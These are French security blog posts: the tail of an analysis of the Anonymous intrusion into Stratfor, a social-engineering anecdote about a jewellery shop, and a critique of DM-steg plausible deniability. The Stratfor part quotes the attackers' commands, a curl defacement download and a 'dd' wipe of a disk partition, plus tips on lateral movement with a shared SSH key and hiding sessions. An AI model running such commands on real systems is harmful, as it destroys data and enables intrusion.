Ce serveur permet à Anonymous de se servir de l'utilisateur 'autobot', dont les clés permettent de se loguer sur l'ensemble du réseau (Mega FAIL!!). Anonymous va donc partir à la recherche du serveur de mail. Il s'agit d'une machine 64bits faisant tourner un zimbra+postfix. Le noyau est un 2.6.18-238.9.1.el5 (un nom de noyau comme ça fait penser à du redhat ou dérivé redhat), ce qui semble ancien. Anonymous passe root dessus sans plus de précisions (clé ssh? faille noyau?). En explorant la machine, il découvre un dossier /backups qui contient, vous l'aurez compris, les sauvegardes des spools de mails des utilisateurs. Headshot, et les spools qui se font doxer (ils ne sont pas encore diffusés, ceci dit).

Anonymous continue de rebondir sur les serveurs internes grâce aux clés d'autobot et diffuse des .bash_history, des tables mySQL etc etc.. Une petite finesse mérite d'être relevée. A chaque venue sur un serveur, anonymous lance la commande w pour connaître les personnes loguées. Sur l'une d'elles, un utilisateur travaille activement (session vim). Il se déconnecte et reconnecte en ssh -T (-T: non allocation de terminal), ce qui permet de ne plus être listé par la commande 'w'. Il appelle cette technique NINJA MODE :)

Enfin, une page index.php est rajoutée sur la home page du site web:
www3 # rm index.php
www3 # curl http://pastebin.com/download.php?i=ANTISEC > index.php
Et le fatal
www3 # dd if=/dev/zero of=/dev/sda3 &      // SETTIN EVERYBODY BACK TO ZERO
aussitôt que google a mis la page en cache.

3/ And ze winner iz?
Que penser de cette attaque? Un serveur absolument pas à jour, des clés non protégées, un accès ssh possible de et vers les autres serveurs de la DMZ, une clé qui donne accès à tout. J'ai du mal à comprendre comment cette entreprise aurait pu passer le moindre contrôle ou le moindre audit sans se faire atomiser.
Et surtout, lorsque le hack est avérée, que le pirate est là, que l'admin le détecte et demande un peu de temps pour nettoyer tout ça, la réponse, la plus mauvaise qui soit: on ne coupe pas le business pendant 2 jours car le pirate n'arrivera surement pas à ses fins, cf
 "You do realize how preposterous it is to suggest that stratfor simply shutdown completely for 2 days, right? The plan that you've attached paints a gloom and doom picture claiming no chance that such a move will succeed. Does that really seem a rationale conclusion?"

Ainsi, comme le dit Anonymous, stratfor s'est fait pwner vraiment violemment, ceci aidé d'une part par la faiblesse de leur infrastructure et d'autre part par l'absence de réactions. 

Le reste d'AnonymousZine.txt contient les logs des autres attaques et des considérations politiques sur leur action. Intéressant à lire.

Source: http://exploitability.blogspot.com/feeds/6391025969476367710/comments/default


Petit conte de fin d'année, mais histoire vraie quand même.

Saturday 31 December 2011 at 16:02

En cette période de fin d'année, je propose un petit conte qui sort de l'informatique et de la sécurité, ou pas.

L'histoire qui suit se passe il y a quelques années et aucun nom ne sera cité.
Or donc, il existait un centre commercial comme il en existe tant, avec, dans la galerie une bijouterie. Cette bijouterie se présentait en forme de L. La barre principale était ouverte sur la galerie, agrémentée d'une caisse en son milieu, et la barre du bas, au fond, avait un second comptoir, réservé aux réparations.

   +-----+
G      V |
A        |      V: victime
L        |      C: caisse principale
E   C    |      R: comptoir de réparation
R        |
I        `-----+
E             R|
              R|
   +-----------+    

Le week-end avant les fêtes, une foule importante se pressait dans la galerie marchande et dans la bijouterie. Comme cela se fait souvent, pour absorber ce surplus de clientèle, quelques intérimaires aidaient à la vente. Ils étaient habillés sobrement, d'une chemise blanche et d'un pantalon noir.
Sur ces entrefaits, aidé d'un complice, je me suis glissé vers le haut du magasin, habillé également d'une chemise blanche et d'un pantalon noir, couvert par un pull. J'ai rapidement repéré une cliente ayant en main un bon de réparation de bijou. Prestement défait de mon pull, je l'aborde en lui demandant si je peux l'aider. Discussion, vérification que son bon de réparation avait été payé, et je la laisse sur place en consultation des nouvelles collection de nouvel an. Je remet le pull et arrive au comptoir du fond pour récupérer le bijou.
Le bijou m'a été donné sur présentation et vérification du bon, et j'ai pu partir discrètement de la bijouterie par le côté opposé à la victime. Du fait de la foule, la cliente ne m'a pas vu partir, et les vendeurs légitimes n'ont pas vu la manipulation.
J'étais donc hors de la bijouterie un splendide collier orné d'un rubis dans la poche.
[Petite précision pour ceux qui s'en inquiéteraient: mon honnêteté n'ayant pas de limite, je suis retourné dans la bijouterie pour rendre le collier à sa propriétaire, c'est donc une histoire morale qui finit bien :-) ]

Etant sur un blog de sécurité informatique, que peut on dire?
  • J'ai joué le rôle d'un proxy malveillant entre un client et un serveur pour intercepter des données d'authentification. 
  • La surcharge de fin d'année a empêché la détection du "rogue proxy" (si vous ne pouvez effacer vos logs, noyez les!)
  • Le client n'a pas pensé à authentifier le serveur. Pensez http"S"! ou typosquatting. Un peu de social engineering a suffit.
  • Enfin, le véritable serveur a fait confiance uniquement au cookie d'authentification (le bon de réparation). Une double authentification aurait été préférable: bon de réparation+authent via CNI par exemple, il était évident qu'un bon intitulé à un prénom de consonance féminine aurait du éveiller un soupçon. Le cookie d'authent pour entrer et faire des opérations (demander l'état de réparation du bijou) mais une seconde authentification pour la remise du payload reste une option intéressante.
  • L'extrusion du payload fût caché dans un paquet de données standard: moi, un client lambda avec un pull gris qui n'éveillait aucune suspicion ou regard de la part des vendeurs légitimes. Pour extraire des données, chiffrez les (flux SSL)!
Sur ce, bonne année, et happy hacking! (et n'allez pas dans les bijouteries faire des bêtises!)

EDIT: Christophe Pradier (RSSI de l'hôpital de Valenciennes) a traduit ce conte en anglais sur son blog!

Source: http://exploitability.blogspot.com/feeds/1986704785950636063/comments/default


dm-steg : la plausible deniability sous linux, ou pas.

Wednesday 14 December 2011 at 12:07

Un lecteur du blog m'a fait suivre un message de la mailing list dm-crypt: http://permalink.gmane.org/gmane.linux.kernel.device-mapper.dm-crypt/5543. L'auteur, Samulis Leopold propose un module noyau et les outils associés proposant un nouveau mode de chiffrement. Ce projet s'appelle DM-steg et la documentation est disponible. Les sources sont composées d'un patch noyau (pour le 3.2) et des outils.

1/ Quels sont les points positifs de DM-steg?
Tout d'abord, les performances de DM-steg ont été mesurées en regard d'un RAM disk, et elles sont honorables (partie 6 Benchmarks du .pdf de doc).
Je ne m'étendrai pas sur les différents modes de chiffrements. L'auteur s'est basé sur de l'existant (un openssl récent > 1.1 doit être utilisé pour pouvoir compiler le projet).

Le point clé du projet réside dans la mobilité des données sur le disque.
Le disque est tout d'abord découpé en parties équivalentes, les blocs. Deux blocs vont jouer un rôle particulier. La taille totale de l'espace est amputée de deux blocs: le premier sert d'en-tête, le second de zone temporaire.Au cours de l'emploi du disque, les données des blocs vont être déplacées sur l'ensemble de l'espace du disque de manière aléatoire. Le bloc temporaire sert à stocker les données pendant le déplacement. Ainsi, un attaquant qui n'aurait accès qu'a la version chiffrée du disque verrait des réécritures sur tout le disque, ne pouvant ainsi absolument rien déduire sur l'usage de ce disque.

Et puis l'auteur indique "no crash" ce qui est rassurant :-)

Et DM-steg est particulièrement intéressant car il propose par défaut de la plausible deniability.
J'ai déjà blogué sur la plausible deniability faite par truecrypt pour en conclure que la méthode n'est pas satisfaisante.
Petit résumé: Pour truecrypt le disque caché est situé vers la fin du disque. Un attaquant en possession de plusieurs versions du disque au cours du temps et qui verrait des données être modifiées à cet endroit alors qu'elles ne correspondent à aucun fichier sur le disque normal pourrait donc vraisemblablement intuiter qu'un disque caché est présent.

2/ La plausible deniability par DM-steg

Etudions la partie deniable plausability. Tout d'abord, sur la possession de ce programme, ensuite sur les containers imbriqués, et enfin sur les attaques réalisables par un attaquant.

La possession de ce programme est sans doute un piège en soi. Si je suis un attaquant et que je vois un utilisateur avec DM-steg, je vais immédiatement le soupçonner de cacher des données. On peut considérer cela comme un faux problème puisque le jour ou DM-steg sera inclus dans les sources officielles du noyau linux et dans les distributions linux sa possession ne sera plus compromettante.

DM-steg permet d'utiliser un disque avec plusieurs mots de passes. Chaque mot de passe donne accès à une vue différente du code déchiffré. Il est possible d'avoir donc un nombre illimité de conteneur cachés (si ce n'est la taille du disque), au contraire de Truecrypt qui ne propose qu'un disque normal contenant un disque caché.

Après discussion avec l'auteur par mail, il m'indique qu'il préfère la méthode de conteneur imbriqué sans limite. Les arguments sont inversibles avec ceux de Truecrypt. Truecrypt dit qu'en cas de gros problème, il est toujours possible de donner les deux mots de passe, prouvant donc que plus rien n'est caché (si on vous tape dessus pour obtenir les mots de passe, cela peut être la solution la moins pire), et DM-steg dit précisément l'inverse, que l'attaquant arrêtera forcément au 'n-ième' mot de passe, à vous de cacher la donnée dans un conteneur n+1. Je n'ai pas d'avis tranché à ce sujet.

Le mode de dispersion des données de DM-steg empêche un attaquant de différencier plusieurs versions du disque pour détecter quels sont les octets qui bougent, et si le cas échéant des octets vers la fin du disque bougent sans lien avec les données présentes. Il semble donc que c'est un excellent moyen pour faire de la plausible deniability. Mais il y a encore deux points qui ne sont pas réglés:
  • Les données sont éparpillées sur le disque (mettons /dev/sda1). Donc un attaquant avec plusieurs copies de /dev/sda1 n'a aucune information. Mais la plausible deniability dit que l'attaquant peut posséder le mot de passe du container principal. Et donc l'attaquant peut monter les disques avec DM-steg. Et il aura accès aux données sous /dev/mapper/steg1. Et là, les données deviennent "linéarisées" et non plus "éparpillées". L'attaquant peut donc étudier les modifications entre deux versions de /dev/mapper/steg1 et ainsi détecter des modifications illégitimes de manire analogue avec l'attaque sur truecrypt.
  • Aucune limitation sur le filesystem employé n'est faite. Ainsi, si un utilisateur crée un container principal formaté en ext3 et un container caché sur les 100 derniers Mo du disque, alors un attaquant à l'aide du mot de passe du premier container pourra consulter tous les superblocks d'ext3 sur le container principal. Les superblocks des 100 derniers Mo seront illisibles puisqu'écrasés par le container caché. Une fois de plus sa présence est révélée. On peut utiliser du FAT, mais l'emploi de FAT dans une distribution linux est suspicieux en soi.
  • Or donc la plausible deniability n'est pas garantie. 
3/ One more step to infinity
Le fait d'éparpiller les données chiffrées sur le disque est donc un premier pas très intéressant. Un attaquant a donc l'obligation impérative d'avoir le premier mot de passe pour attaquer la plausible deniability, ce qui n'était pas le cas auparavant.
Nous avons aujourd'hui de plus en plus de disques SSD ou la localisation des données n'a plus aucune importance en terme de performances. L'usage de DM-steg pourrait donc rivaliser avec dm-crypt. Néanmoins, on cherche encore une vraie méthode de plausible deniability pérenne et fiable dans le temps.

Source: http://exploitability.blogspot.com/feeds/180774096717529873/comments/default